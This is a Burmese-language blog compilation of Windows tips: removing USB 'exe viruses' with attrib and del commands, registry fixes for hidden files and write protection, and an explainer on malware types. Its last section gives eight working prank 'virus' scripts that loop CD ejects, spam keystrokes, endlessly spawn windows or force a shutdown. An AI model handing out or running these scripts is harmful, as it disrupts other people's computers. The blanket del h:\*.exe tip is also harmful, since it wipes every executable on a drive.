Virus မ်ားကို CMD ျဖင့္သတ္ျခင္း

ကြန္ပ်ဴတာအသံုးျပဳရာတြင္ Anti Virus Software မ်ားအသံုးမျပဳ၍ေသာ္လည္းေကာင္း၊ အသံုးျပဳ ထားသည့္ Anti Virus Software မ်ား ေကာင္းစြာ အလုပ္မလုပ္ျခင္းေၾကာင့္ေသာ္လည္းေကာင္း Virus မ်ားပ်ံ႕ႏွံ႔ကူးစက္ႏိုင္ပါသည္။ ထိုသို႔ႀကံဳေတြ႔ရပါက CMD မွတစ္ဆင့္ Virus မ်ား ကို ရွင္းလင္းႏိုင္ပါသည္။ ထိုသို႔ရွင္းလင္းရန္အတြက္ Virus အမည္ကိုသိရွိရန္လိုအပ္ပါသည္။ ကြန္ပ်ဴတာ အသံုးျပဳသူမ်ားအေနျဖင့္ သိရွိထားသင့္ၿပီး အက်ိဳးရွိႏိုင္သည့္ နည္းလမ္းတစ္ခုျဖစ္ပါသည္။ ေအာက္ေဖာ္ျပပါအတိုင္း တစ္ဆင့္ျခင္း စီ ျပဳလုပ္သြားရပါမည္။

၁။ Start \ Run တြင္ cmd ဟု႐ိုက္၍ OK ေပးရပါမည္။

၂။ ထို႔ေနာက္ ကြန္ပ်ဴတာတြင္ရွိေနသည့္ Partition မ်ားမွ Virus 0င္ေရာက္ေနသည့္ အပိုင္းသို႔၀င္ေရာက္ရပါမည္။ ဆိုလိုသည္မွာ ကြန္ပ်ဴတာတြင္ Partition ၃ ခုရွိသည့္အနက္  D တြင္ Virus ၀င္ေရာက္ေနပါက cmd တြင္ D: ဟုရိုက္၍ Enter ကို ႏွိပ္ေပးရပါမည္။ ထိုအခါ cmd တြင္ Virus ၀င္ေရာက္ေနသည့္ Partition သို႔၀င္ေရာက္ၿပီးျဖစ္ပါသည္။

၃။ ထို႔ေနာက္ attrib -r -h -s(virus name.frile extension) ရုိက္၍ Enter ေပးရပါမည္။ virus name.file extension ဆိုသည္မွာ မိမိစက္ တြင္ ၀င္ေရာက္ေနသည့္ Virus အမည္ႏွင့္ အမ်ိဳးအစားကို ဆိုလိုျခင္းျဖစ္ပါသည္။

၄။ ထိုသို႔ျပဳလုပ္ေပးၿပီးပါက c:\windows>- ဟုcmd တြင္ေတြ႔ျမင္ေနရမည္ျဖစ္ၿပီး Virus ကိုရွင္းလင္းရန္အတြက္ del(virus name.frile extension) ဟုရိုက္၍ Enter ေပးရပါမည္။ ထိုသို႔ျပဳလုပ္ၿပီးပါက ကြန္ပ်ဴတာတြင္၀င္ေရာက္ေသာ Virus ကိုရွင္းလင္းၿပီးျဖစ္ပါသည္။ (ခ်ယ္ရီေျမ၀က္ဆိုဒ္မွ ကူးယူေဖာ္ျပသည္။)

အျပည့္အစံု

Memory Stick၊ Flash Drive မ်ားႏွင့္ exe Virus

Memory Stick၊ Flash Drive မ်ားႏွင့္ exe Virus

         Memory Stick မ်ားႏွင့္ External Hard disk မ်ားကိုကြန္ပ်ဴတာမ်ားတြင္ တပ္ဆင္အသံုးျပဳရာ၌ ႀကံဳေတြ႔ရသည့္ Virus မ်ားအနက္ exe virus ကို command prompt အသံုးျပဳ၍ ရွင္းလင္းနည္းျဖစ္ပါသည္။ Antivirus Software  Update မျဖစ္သည့္ကြနပ်ဴတာမ်ားအတြက္ အတိုင္းအတာတစ္ခုအထိစိတ္ခ် ရေစမည္ ျဖစ္သည့္အျပင္ ကြန္ပ်ဴတာတြင္အသံုးျပဳသည့္ Dos Command အေၾကာင္းကိုလည္းသိရွိနားလည္ေစႏိုင္မည္ ျဖစ္ပါသည္။

          ပထမဦးစြာ Flash Drive ကိုကြန္ပ်ဴတာတြင္တပ္ဆင္ၿပီးေနာက္  Run တြင္ cmd ကို႐ိုက္၍ Command Prompt သို႔၀င္ေရာက္ရပါမည္။ ထို႔ေနာက္ cmd တြင္ dir h:\*.exe /a ဟုေရးသား၍ Enter ႏွိပ္ရပါမည္။ ၄င္း command တြင္

          Dir h:\ ၏ဆိုလိုရင္းမွာ dir သည္ Folder မ်ား၊ File မ်ားကိုၾကည့္႐ွဴရန္အတြက္ျဖစ္ၿပီး h:\ သည္ ကြန္ပ်ဴတာတြင္ တပ္ဆင္ထားေသာ  Memory Stick ၏ Drive Name ျဖစ္ပါသည္။

          *.exe တြင္ *. သည္ Memory Stick H အတြင္းရွိ Folder မ်ားအားလံုးကို သီးသန္႔ၾကည့္႐ွဴရန္အတြက္ ျဖစ္ၿပီး *.exe ဟုဆိုသည့္အတြက္ Memory Stick H အတြင္းရွိ exe မ်ားအားလံုးကို ၾကည့္႐ွဴႏိုင္ရန္အတြက္ ျဖစ္ပါသည္။

          /a သည္ System File မ်ားကိုျဖစ္ေစ၊ Hidden ျဖစ္ေနသည့္ Virus မ်ားႏွင့္ ထို Virus မ်ား ေၾကာင့္Hidden ျဖစ္ေနသည့္ File မ်ားႏွင့္ Folder မ်ားကို ေတြ႔ျမင္ႏိုင္ရန္အတြက္ျဖစ္ပါသည္။ ထို႔ေၾကာင့္ dir h:\*.exe /a မွာ Memory Stick H အတြင္းရွိ Hidden ျဖစ္ေနသည့္ exe virus မ်ားကို ေဖာ္ျပရန္ အတြက္အသံုးျပဳျခင္းျဖစ္ပါသည္။ ထို႔ေနာက္ ေအာက္ေဖာ္ျပပါပံုအတိုင္း Memory Stick H အတြင္းရွိ exe Virus မ်ားကိုေတြ႔ျမင္ရမည္ျဖစ္ပါသည္။

အဆိုပါ exe virus မ်ားကို ရွင္းလင္းရန္အတြက္ del h:\*.exe command ႐ိုက္၍ Enter ႏွိပ္ရပါမည္။ ၄င္းမွာ Memory Stick H အတြင္းရွိ exe မ်ားအားလံုးကို Delete ျပဳလုပ္ျခင္းျဖစ္ပါသည္။ သို႔ရာတြင္ ေအာက္ေဖာ္ျပပါပံုအတိုင္း Could Not Find h:\*.exe ဟု Drive H အတြင္း exe File မ်ားမရွိပါဟု Message ကို ေတြ႔ျမင္ရမည္ျဖစ္ပါသည္။ dir h:\*.exe /a ျဖင့္ၾကည့္႐ွဴစဥ္က exe File မ်ားကိုေတြ႔ျမင္ရၿပီး ယခု Delete ျပဳလုပ္သည့္အခါတြင္ မရွိပါဟု message ေတြ႔ျမင္ရျခင္းမွာ Virus မ်ားမွထိန္းခ်ဳပ္ထားသည့္အတြက္ျဖစ္ ပါသည္။

          အဆိုပါ Virus မ်ား၏ထိန္းခ်ဳပ္မႈကိုေျဖရွင္းရန္အတြက္ attrib h:\*.exe –s –r –h Command ကိုအသံုးျပဳရပါမည္။ ၄င္း Command တြင္ attrib သည္ attribute ကိုဆိုလိုျခင္းျဖစ္ၿပီး ၄င္းသည္ File တစ္ခုကို ပံုမွန္အားျဖင့္ ဖ်က္ဆီးမရေအာင္ျပဳလုပ္ႏိုင္ပါသည္။ s သည္ System File အျဖစ္သက္မွတ္ထားၿပီး သာမန္  Delete ျဖင့္ဖ်က္၍မရပါ။ r သည္ Read Only ျဖစ္ၿပီး ေတြ႔ရွိႏိုင္ေသာ္လည္း ေရးသားျပင္ဆင္ခြင့္မျပဳေပ။ h သည္ hidden ျဖစ္ၿပီး ပံုမွန္အားျဖင့္ျမင္ေတြ႔ႏိုင္ျခင္းမရွိေစရန္ လုပ္ေဆာင္ပါသည္။ exe virus သည္ system File အေယာင္ေဆာင္ထားၿပီး ဖ်က္ဆီးမရေအာင္ျပဳလုပ္ထားျခင္း၊ ပံုမွန္အားျဖင့္ျမင္ေတြ႔ျခင္းမရွိေစရန္ Hidden ျပဳလုပ္ထားျခင္းစသည့္ထိန္းခ်ဳပ္ထားမႈမ်ားကို ေျဖရွင္းရန္အတြက္ – ကိုအသံုးျပဳျခင္းျဖစ္ပါသည္။

          Virus မ်ား၏ထိန္းခ်ဳပ္မႈကို ေျဖရွင္းၿပီးေနာက္ exe Virus ကိုရွင္းလင္းႏိုင္ၿပီျဖစ္ပါသည္။ ယခင္အသံုးျပဳ ၿပီးသည့္ del h:\*.exe Command ကိုုအသံုးျပဳရပါမည္။ ထို႔ေနာက္ Memory Stick H အတြင္းရွိ exe virus မ်ား က်န္ရွိေနျခင္းရွိ၊ မရွိကို dir h:\*.exe /a ျဖင့္ၾကည့္႐ွဴပါက exe Virus မ်ားမရွိေတာ့ေၾကာင္း ေတြ႔ျမင္ရမည္ ျဖစ္ပါသည္။

ထို႔ေၾကာင့္ ကြန္ပ်ဴတာမ်ားအတြင္းရွိ exe Virus မ်ားကို Command Prompt ျဖင့္လြယ္ကူစြာ ရွင္းလင္းႏိုင္ပါသည္။Memory Stick မ်ားအတြင္းရွိ exe Virus မ်ားကို ရွင္းလင္းရန္အတြက္ ေအာက္ေဖာ္ျပပါ Command 3 ေၾကာင္းသာလိုအပ္ပါသည္။
dir h:\*.exe /a                             Virus မ်ားကိုစစ္ေဆးျခင္း။
attrib h:\*.exe –s –r –h        Virus မ်ား၏ထိန္းခ်ဳပ္မႈကိုေျဖရွင္းျခင္း။
del h:\*.exe                       Virus မ်ားကိုရွင္းလင္းျခင္း။

အျပည့္အစံု

Virus မ်ားေၾကာင့္ File၊ Folder မ်ားေပ်ာက္ဆံုးေနလ်င္

ကြန္ပ်ဴတာတြင္ျဖစ္ေစ၊ Flash Drive မ်ားတြင္ျဖစ္ေစ Virus မ်ားေၾကာင့္ File၊ Folder မ်ားေပ်ာက္ ဆံုးေနၿပီး Use space တြင္လည္းအဆိုပါ File မ်ားကိုသိမ္းဆည္းထားသည္ဟု ေဖာ္ျပေနပါက ေအာက္ပါအတိုင္းလုပ္ေဆာင္ျခင္းျဖင့္ File၊ Folder မ်ားကိုျပန္လည္ေတြ႔ရွိရမည္ျဖစ္ပါသည္။ ထိုသို႔ျပဳ လုပ္ျခင္းသည္ Virus မ်ားကို ရွင္းလင္းျခင္းမဟုတ္ပဲ Virus Effect ေၾကာင့္ေပ်ာက္ဆံုးေနသည့္ Data မ်ားကိုသာ ရွာေဖြျခင္းျဖစ္ပါသည္။ ထို႔ေၾကာင့္ Data မ်ားကိုရွာေဖြၿပီးေသာ္လည္း Virus ကိုရွင္းလင္း ရန္ လိုအပ္မည္ျဖစ္ပါသည္။

၁။ Start မွတစ္ဆင့္ Run Box တြင္ regedit ဟုေရးသား၍ Registry Editor သို႔၀င္ေရာက္ရပါမည္။

၂။ Registry Editor တြင္ HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows\
CurrentVersion\ Explorer\ Advanced\ FolderHidden\ SHOWALL ထိေရာက္ေစရန္ အဆင့္ဆင့္ ၀င္ေရာက္ရပါမည္။

၃။ SHOWALL ကို Left Cclick ျဖင့္ႏွိပ္၍ ညာဘက္ Box (Pane) အတြင္းရွိ CheckedValue  ကို Right Click မွတစ္ဆင့္ Modify သို႔၀င္ေရာက္ရပါမည္။ ValueData တြင္ ၀(သုည) ကို 1 ဟုေျပာင္း လဲေပးရပါမည္။

၄။ အကယ္၍ ညာဘက္ Box (Pane) အတြင္း၌ CheckedValue ကိုမေတြ႔ရွိပါက SHOWALL ကို Right Click ႏွိပ္၍ New မွတစ္ဆင့္ DWORD (32-bit) Value ကိုတည္ေဆာက္ေပး၍ အမည္ကို CheckedValue ဟုေပး၍ Value ကို 1 ဟုေပးရပါမည္။

၅။ ထို႔ေနာက္ကြန္ပ်ဴတာကို Restart ခ်ၿပီးေနာက္ Hidden ျဖစ္ေနသည့္ File၊ Folder မ်ားကိုျပန္လည္ ေတြ႔ရွိရမည္ျဖစ္ပါသည္။ (ခ်ယ္ရီေျမ၀က္ဆိုဒ္မွ ကူးယူေဖာ္ျပသည္။)

အျပည့္အစံု

Virus အေၾကာင္းမ်ား

About Virus Value Value တစ္ခုမွာရွိတဲ႕ Data တစ္ခုကိုေဖာ္ျပတဲ႕ေနရာမွာ Data type အမ်ိဳးအစား (၆)မ်ိဳးအနက္က တစ္ခုခုနဲ႕ေဖာ္ျပႏိုင္ပါတယ္။ အဲ႕ဒီ (၆) မ်ိဳးကေတာ႔ About Virus Value Value တစ္ခုမွာရွိတဲ႕ Data တစ္ခုကိုေဖာ္ျပတဲ႕ေနရာမွာ Data type အမ်ိဳးအစား (၆)မ်ိဳးအနက္က တစ္ခုခုနဲ႕ေဖာ္ျပႏိုင္ပါတယ္။ အဲ႕ဒီ (၆) မ်ိဳးကေတာ႔ ........... 1.REG_BINARY Raw Binary Data, Hardware သတင္းေတြကို ကြန္ပ်ဴတာမွ binary အျဖစ္သိမ္းေပမယ္႔၊ Registery editor မွာ အက်ဥ္းျခံဳးရန္ Hexa Decimal နဲ႕ျပေပးတယ္။ 2.REG_DWORD 4 byte အရွည္ရွိတဲ႕ ကိန္းဂဏန္းနဲ႕သိမ္း၊ Device Driver မ်ား၊ Service ႏွင္႔သက္ဆိုင္ေသာ ကန္႔သတ္ခ်က္(parameter) မ်ားကိုေဖာ္ျပေပးတယ္။ 3.REG_EXPAND_SZ ကိန္းရွင္ (variable) မ်ား 4.REG_MULTI_SZ multiple type, user မ်ားသိႏိုင္ေသာ Char ႏွင္႔ ဂဏန္းမ်ားေရာေႏွာပံု၊ ေနရာလြတ္၊ ေကာ္မာနဲ႕ အျခားအမွတ္ေတြပါ။ 5.REG_SZ စာသားမ်ားပါ၀င္ၿပီး အလ်ားသတ္မွတ္ခ်က္ရွိေသာ အကၡရာစဥ္ကိန္းတန္း တစ္ခု။ 6.REG_FULL_RESOCE_DESCRIPTOR Hardware တစ္ခုကို (Dirver တစ္ခု) Resource List ကိုသိမ္းဆည္းရန္ ဒီဇိုင္းထုတ္ထားေသာ Nested Array တစ္ခုတို႕ပဲ ျဖစ္ပါတယ္။ About Virus (No-1) ဗိုင္းရပ္စ္ ဆိုသည္မွာ (ပထမပိုင္း) ဗိုင္းရပ္စ္ဆိုသည္မွာ လို႕ေခါင္းစဥ္တပ္ထားတာ ကၽြန္ေတာ္လဲ သိသေလာက္ေလး ေျပာျပေပးတာပါ။  General Knowledge ေပါ့ဗ်ာ….. ကဲ ဖတ္ေပးဦးဗ်ာ………. အက်ိဳးရွိမွာပါ… လူေတြေရာ အားလံုးပါပဲ တစ္ခုခုဆို Virus လို႕ပဲ သိပါတယ္။ တကယ္ေတာ့ Virus အႏြယ္၀င္ အမ်ဳိးအစားမ်ားရွိေနပါတယ္။ အဲဒါေတြအေၾကာင္း ရွင္းလင္းျပထားတဲ့ မူလေရးသားသူ ဆရာမ်ဳိးသူရ အားအထူး ေက်းဇူးတင္ရွိပါတယ္။ ၁။ Computer Virus Computer virus ဆိုတာ သူ႕ကိုသူ attach လုပ္ထားတဲ႔ program (သို႕) file တစ္ခုျဖစ္ျပီး ကြန္ပ်ဴတာတစ္ခုကေန တစ္ခုကို ျပန္႔ွႏွ႕ံကူးစက္ႏိုင္ပါတယ္.. လူေတြမွာ Virus ကူးသလိုပဲ ျပန္႕ႏွ႔ံျပီးေတာ့ ကြန္ပ်ဴတာရ႕ဲ System ကိုပံုမွန္အလုပ္ မလုပ္ေအာင္ ေႏွာက္ယွက္မယ္၊ Windows ကို Error ေတြမ်ားလာေအာင္ လုပ္မယ္၊ user data ေတြကို ဖ်က္ဆီးမယ္၊ Hardware ေတြ Software ေတြ အေရးၾကီးတဲ႔ File ေတြကို ဖ်က္ဆီးမယ္... စတာေတြကို လုပ္ေဆာင္ပါတယ္။ ဒါေပမယ့္ Virus အမ်ားစုဟာ executable fileေတြျဖစ္ၾကပါတယ္.. ဥပမာ.. chrome.exe, system.bat , flashy.com စသျဖင့္ေပါ့ .. သူတို႕ဟာ ကြန္ပ်ဴတာထဲမွာ ရွိေနရင္ေတာင္မွ သင္ကိုယ္တုိင္မွ သြားမဖြင့္ရင္/ သြားမ run မိရင္ ကြန္ပ်ဴတာကို ဘာမွ မထိခိုက္နိုင္ပါဘူး... ဒါေၾကာင့္ မွတ္ထားရမွာက လူ၏ လုပ္ေဆာင္ခ်က္မပါ၀င္ပဲ Computer Virus သည္ မပ်ံ႕ႏွံ႕ မကူးစက္နိုင္ပါ။ Virus ပ်ံ႕ႏွံ႕နိုင္တဲ႔ နည္းလမ္းေတြကေတာ့ အမ်ိဳးမ်ိဳးရွိပါတယ္...forward E-mail က attached file ေတြ၊ memory stick(flash/thumb drives) ေတြ၊ Full sharing ကေန virus infected file ထည့္တာေတြ၊ သူငယ္ခ်င္း အခ်င္းခ်င္း မသိပဲနဲ႔ Virus infected file ကို share လုပ္မိတာေတြ .. စသျဖင့္ေပါ့...ဗ်ာ ၂။ Malware Malware ဆုိတာ အဂၤလိပ္စကား ၂ လံုး Malicious Software ကိုေပါင္းစပ္ျပီး ကြန္ပ်ဴတာ ပညာရွင္ေတြက အလြယ္ေခၚၾကတဲ ့virus လို program ေတြပါပဲ.. အဲဒိ Malware ကကြန္ပ်ဴတာပိုင္ရွင္ရ႕ဲ ခြင့္ျပဳခ်က္မရပဲ ၊ မသိေစပဲ single computer / server / computer network ထဲ ၀င္ျပီး ကြန္ပ်ဴတာ System ပ်က္ဆီးေစနိုင္ေအာင္ ၊ အေႏွာက္အယွက္ျဖစ္ေအာင္ ေရးေလ့ရွိၾကပါတယ္.. Malware တစ္ခုမွာ Computer VIrus , worms, trojan horses, most rootkits, spyware, dishonest adware, crimeware and other malicious and unwanted software ေတြပါ၀င္ေလ့ရွိပါတယ္.. ၃။ worm worm ဆိုတာက virus နဲ႔ ဆင္တူေအာင္ ေရးထားၾကတာပါပဲ။ virus တစ္ခုရဲ႕ Sub-class လို႕လည္း ေခၚလို႕ရပါတယ္။ သူကေတာ့ Virus လို လူကျဖန္႕မွ ပ်ံ႕တာမ်ဴိးမဟုတ္ပဲ သူပါသူ Computer network ထဲမွာရွိတဲ႔ အျခားကြန္ပ်ဴတာေတြကို လူရဲ႕လုပ္ေဆာင္ခ်က္ လံုး၀မပါပဲနဲ႔ ပ်ံ႕ႏွံ႕ေစတာျဖစ္ပါတယ္။ သူ႔ပါသူ ျဖန္႔နိုင္တဲ႔ စြမ္းရည္ရွိတာေပါ့ေနာ္။ အၾကီးမားဆံုး အႏၱရာယ္ကေတာ့ သူက သူ႕ပါသူ System file တစ္ခုလို အေယာင္ေဆာင္ျပီး သူ႕ကိုယ္သူ သန္းေပါင္း ၁၀၀ ေလာက္ copy ပြားနိုင္ပါတယ္။ Hard disk ရဲ႕ used space ကို မ်ားလာေစတယ္..Computer ရဲ႕ System memory usage ေတြ မ်ားလာေစတယ္။ network bandwidth ေတြကိုတက္လာေစတယ္။ Run ထားတဲ႔ program ေတြကို not responding ခဏခဏျဖစ္လာေစတယ္။ လူသိမ်ားတဲ႔ worm ကေတာ့ Blaster worm ပါ။ ထြင္လိုက္တဲ႔လူကေတာ့ ၂၀၀၅ ခုႏွစ္တုန္းက အသက္ ၁၈နွစ္ အရြယ္ Jeffrey Lee Parson ျဖစ္ျပီး ေထာင္ ၁၈ လ က်သြားခဲ႔ပါတယ္။ Blaster worm က windows စတက္တာနဲ႔ Registry ကီး HKEY_LOCAL_MACHINE\SOFTWARE\ Microsoft\Windows\CurrentVersion\ Run\windows auto update = msblast.exe မွာ ေနရာယူပါတယ္။ msblast.exe ဆိုတာကေတာ့ နာမည္တူေပးထားတာေပါ့။ Blaster worm က Computer System ထဲမွာ ရွိေနျပီဆိုတာနဲ႔ Cracker ေတြက ကြန္ပ်ဴတာကို Remote လုပ္ျပီး ထိန္းခ်ုဳပ္နိုင္ေအာင္ ေရးထားပါတယ္။ About Virus (No-2) ဗိုင္းရပ္စ္ဆိုသည္မွာ (ဒုတိယပိုင္း) ၄။ Trojan horse Trojan horse ကို Trojan လို႔လည္းေခၚပါတယ္။ Trojan ဆိုတဲ႔ ျမင္းရုပ္ၾကီးအေၾကာင္း ငယ္ငယ္က ကမာၻ႔သမိုင္းမွာသင္ဖူးၾကမွာေပါ့။ Tri ဇာတ္ကားလည္း ၾကည့္ဖူးၾကမွာပါ။ အဲဒိထဲကလိုပဲ အလုပ္လုပ္တယ္လို႕ေျပာလို႕ရပါတယ္။ ပံုမွန္အားျဖင့္ အသံုး၀င္တဲ႔ Software ေတြမွာ ထည့္ထားတတ္ၾကပါတယ္။ ဥပမာေပါ့ဗ်ာ... Game တစ္ခုကို Install ျပီးေဆာ့ေနေပမယ့္ အျခားတစ္ဖက္မွာ Hacker ေတြ Cracker ေတြက ကြန္ပ်ဴတာထဲကို ၀င္ေမႊေနလို႕ရေအာင္လုပ္ေပးေနတယ္။ အဲဒီေတာ့ အဲဒိ Game ကို Trojan horse လို႕ေခၚတာေပါ့။ တစ္ကယ္ေတာ့ Game က တရား၀င္ထုတ္ထားတဲ႔ Game ပဲ.. ဒါေပမယ့္ Virus infected ျဖစ္ေနတဲ႔ Game လို႕ေျပာရလိုျဖစ္ေနတာေပါ့။ နမူနာ Trojan Horse ကေတာ့ waterfalls.scr ဆိုတဲ႕ free waterfall screen saver ပဲျဖစ္ပါတယ္။ Trojan horse တစ္ခုဟာ ေအာက္ပါအခ်က္မ်ားကို လုပ္ေဆာင္ေပးနိုင္ပါတယ္... * Remote Access * Data Destruction * Downloader/dropper * Server Trojan(Proxy, FTP , IRC, Email, HTTP/HTTPS, etc.) * Disable security software * Denial-of-service attack (DoS) ၅။ Spyware သူကေတာ့ သူခိုးေပါ့ေနာ္.. Spy ေတြ ဘယ္လို အလုပ္လုပ္သလဲဆိုတာ သိၾကမွာပါ။ သူက ကြန္ပ်ဴတာကို ထိခိုက္ဖ်က္ဆီးခ်င္မွ ဖ်က္ဆီးမယ္  ဒါေပမယ့္ ကြန္ပ်ဴတာမွာသံုးေနတဲ႔ user ရ႕ဲ အမ်ိဳးမ်ိဳးေသာ အခ်က္အလက္ေတြ၊ အေရးၾကီးတဲ႔ Data ေတြကို သူ႕ရ႕ဲ Main server တစ္ခုခုကို ေန႔စဥ္ သတင္းပို႕ေပးေနတယ္။ Spyware ေတြက မ်ားေသာ အားျဖင့္ Web browser ေတြကေန ၀င္နိုင္ပါတယ္။ ျပီးရင္ သူက Browser home page ကိုေျပာင္းထားတတ္ပါတယ္။ သင့္ကို Error message ေတြ အမ်ိဳးမ်ိဳးျပမယ္..(ဥပမာ- သင့္ကြန္ပ်ဴတာမွာ problems ေတြမ်ားေနျပီ..အဲဒါေတြျပင္ခ်င္ရင္ ေအာက္ကခလုတ္ကို ႏွိပ္ပါ) စသျဖင့္ ဆြဲေဆာင္မယ္၊ သင္က link တစ္ခုကို click လိုက္ေပမယ့္ သင္မဖြင့္ပဲနဲ႔ အျခား Porn Site ေတြ အလိုလိုပြင့္လာမယ္ စသျဖင့္ေပါ့ဗ်ာ။ တစ္ခ်ိဳ႕ လူေတြက http cookie ေတြကို Spyware ေတြလို႕ ထင္ၾကပါတယ္။ တကယ္ေတာ့ မဟုတ္ပါဘူး ဒါေပမယ့္ အဲဒိ cookie ထဲမွာ Spyware က track လုပ္နိုင္တဲ႔ Data ေတြ ပါလာတတ္တာေၾကာင္ ့ Spyware Remover ေတာ္ေတာ္မ်ားမ်ားက Cookie ေတြကို ဖ်က္ပစ္ၾကတာပါ။ Spyware ကို ကာကြယ္ခ်င္ရင္ေတာ့ pop-ups က်လာတဲ႔ link ေတြကို ေရွာင္တာေကာင္းပါတယ္... Free Spyware Remover ေတြနဲ႔လည္း ကာကြယ္နိုင္ပါတယ္။ ၆။ Adware Adware ဆုိတာကေတာ့ Advertising-supported software (သို႔) software package တစ္ခုျဖစ္ပါတယ္။ သူကေတာ့ Screen မွာ Automatic ေပၚလာေအာင္ ဖန္တီးထားျပီး Download အတင္းလုပ္ခိုင္းပါတယ္။ အခ်ိဳ႕ေသာ Adware မ်ားဟာ Spyware မ်ားျဖစ္တတ္ၾကပါတယ္။ ၇။ Crimeware Crimeware ဆိုတာကေတာ့ Spyware, Adware, Malware အမ်ိဳးအစားေတြထဲမွာပါပါတယ္။ သူ႕ရဲ႕ရည္ရြယ္ခ်က္ကေတာ့ financial crime ေတြအတြက္ ရည္ရြယ္ျပီး ေရးၾကတာမ်ားပါတယ္။ သူက user password ေတြ၊ links ေတြ၊ အခ်က္အလက္ေတြကို မွတ္သားထားႏိုင္ျပီး သူ႔ကို Run ထားတဲ႔လူက ျပန္ဖြင့္ၾကည့္ျပီး user data ေတြကို ခိုးယူနိုင္တာေပါ့။ ဥပမာေျပာရရင္ ခုေခတ္စားေနတဲ႔ key logger တို႔ keystroke logging software တို႕ဟာ Crimeware အမ်ိဳးအစားေတြပဲျဖစ္ပါတယ္။ Source; http://bonemyathein.blogspot.com/p/virus.html

အျပည့္အစံု

USB Memory Stick ထဲက ဖိုင္ေတြကို ဖ်က္မရ၊ ေကာ္ပီ လုပ္မရဘူးဆိုရင္...

ကြန္ပ်ဴတာထဲကို ဗိုင္းရပ္စ္ေတြ ကိုက္သြားတဲ့အခါ။ ဒါမွမဟုတ္ ကိုယ့္ Memory Stick ကို အျခားစက္မွာ ထိုးမိၿပီး မိမိစက္ကို ျပန္ထိုးလိုက္တဲ့အခါ လွ်ိဳ႕၀ွက္ Script တစ္ခုက မိမိကြန္ပ်ဴတာထဲကို လွ်ိဳ႕၀ွက္ ၀င္ေရာက္သြားပါတယ္။ အဲဒီ Script က ဗိုင္းရပ္စ္လဲ မဟုတ္ျပန္ပါဘူး။ သူက Autorun ကေနတဆင့္ ၀င္ေရာက္သြားတာပါ။ ဘာဘဲျဖစ္ျဖစ္ အျခားေသာ အေၾကာင္းအမ်ိဳးမ်ိဳးေၾကာင့္ USB Memory Stick ထဲကဖိုင္ေတြကို ေကာ္ပီလုပ္မရ ဖ်က္မရေတာ့ဘဲ Write Protect ဆိုတဲ့ Error ျဖစ္ေပၚလာရပါတယ္။ အဲဒီလိုျဖစ္လာၿပီဆိုရင္ ဘာလုပ္လို႔ ဘာကိုင္ရမွန္း မသိေအာင္ ျဖစ္ရေတာ့တာပါဘဲ။ ကိုယ္တိုင္လဲ ၾကံဳခဲ့ရဘူး ပါတယ္။ ဒါေၾကာင့္ လြယ္လြယ္ကူကူနဲ႕ ေျဖရွင္းနည္းေလးကို ေရးျပေပးလိုက္ရပါတယ္။

HKEY_LOCAL_MACHINE>>System>>CurrentControlSet>>Control>>StorageDevicePolicies ထိေရာက္ေအာင္ အဆင့္ဆင့္သြားပါ။ ေရာက္ရင္ ညာဘက္အျခမ္းမွာ WriteProtect ဆိုတဲ့ အျပာေရာင္ ဖိုင္ေလးပထမဆံုး Start>Run(box) မွာ regedit လို႕ ရိုက္ထည့္ပါ။ Registry Editor ေပၚလာပါမယ္။ အဲဒီထဲမွာ တဖိုင္ကို ႏွစ္ခ်က္ကလစ္ၿပီးရင္ Value Data ‘1’ ဆိုတာကို ‘0’ လို႕ျပန္ေျပာင္းေပးလိုက္ပါ။ ၿပီးရင္ Registry Editor မွ အၿပီးထြက္ၿပီး ကြန္ပ်ဴတာကို Restart ခ်လိုက္ပါ။ ၿပီးရင္ ျပန္စမ္းၾကည့္ပါ။ Write Protect ဆိုတဲ့ Error မေပၚေတာ့ပါ/Memory Stick ပ်က္စီးေနၿပီဆိုရင္ေတာ့ အထက္ပါနည္းလဲ အသံုးမ၀င္ေတာ့ပါ။

အျပည့္အစံု

Notepad ႏွင့္ေရးထားေသာ Virusမ်ား

1)သင့္ CD Drive ကိုဆက္တိုက္ပြင့္ေနပါလိမ့္မယ္။ဖြင့္လိုက္ပိတ္လိုက္ေပါ့။
code:

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

ဒီဟာေလးကို ( .vbs) နဲ႔ေဆ့ပါ

2) Caps Lock ကိုဆက္တိုက္ဖြင့္လိုက္ပိတ္လိုက္လုပ္ေနပါလိမ့္မယ္။
code:

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

ဒီဟာေလးကို ( .vbs) နဲ႔ေဆ့ပါ

3) ဒါေလးကသင့္ကြန္ျပဴတာကို မက္ေဆ့ ေပးျပီး shutdown က်သြားေစပါတယ္။
code :

@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s

ဒီဟာေလးကို ( .bat) နဲ႔ေဆ့ပါ

4) Enter key ကိုဆက္တိုက္ႏွိပ္ေနမွာပါ။
code :

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

ဒီဟာေလးကို ( .vbs) နဲ႔ေဆ့ပါ.

5) CMD နဲ႕ Notepad ေတြရပ္မရေအာင္ဆက္တိုက္ဖြင့္တာေလးပါ။ဒါေလးကနဲနဲေလးဆိုးတယ္။
code:
@echo off
:A
start cmd
start notepad
goto :A

ဒီဟာေလးကို ( .bat) နဲ႔ေဆ့ပါ..

6) Backspace တိုက္ပြင့္ေနမွာပါ။သင္စာရိုက္လို႕မရပါ။
code :

MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

ဒီဟာေလးကို ( .vbs) နဲ႔ေဆ့ပါ

7) သင့္ keyboard ေလးကိုဟက္ျပီး သင္ဟာအရူးဆိုျပီးသင္စာရိုက္တိုင္းေပၚေနမွာပါ။
code:

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop

ဒီဟာေလးကို ( .vbs) နဲ႔ေဆ့ပါ

8. Notepad ကိုဆက္တိုက္ပြင့္ေနမွာပါ။
code:

@ECHO off
:top
START %SystemRoot%system32notepad.exe
GOTO top
ဒီဟာေလးကို ( .bat) နဲ႔ေဆ့ပါ

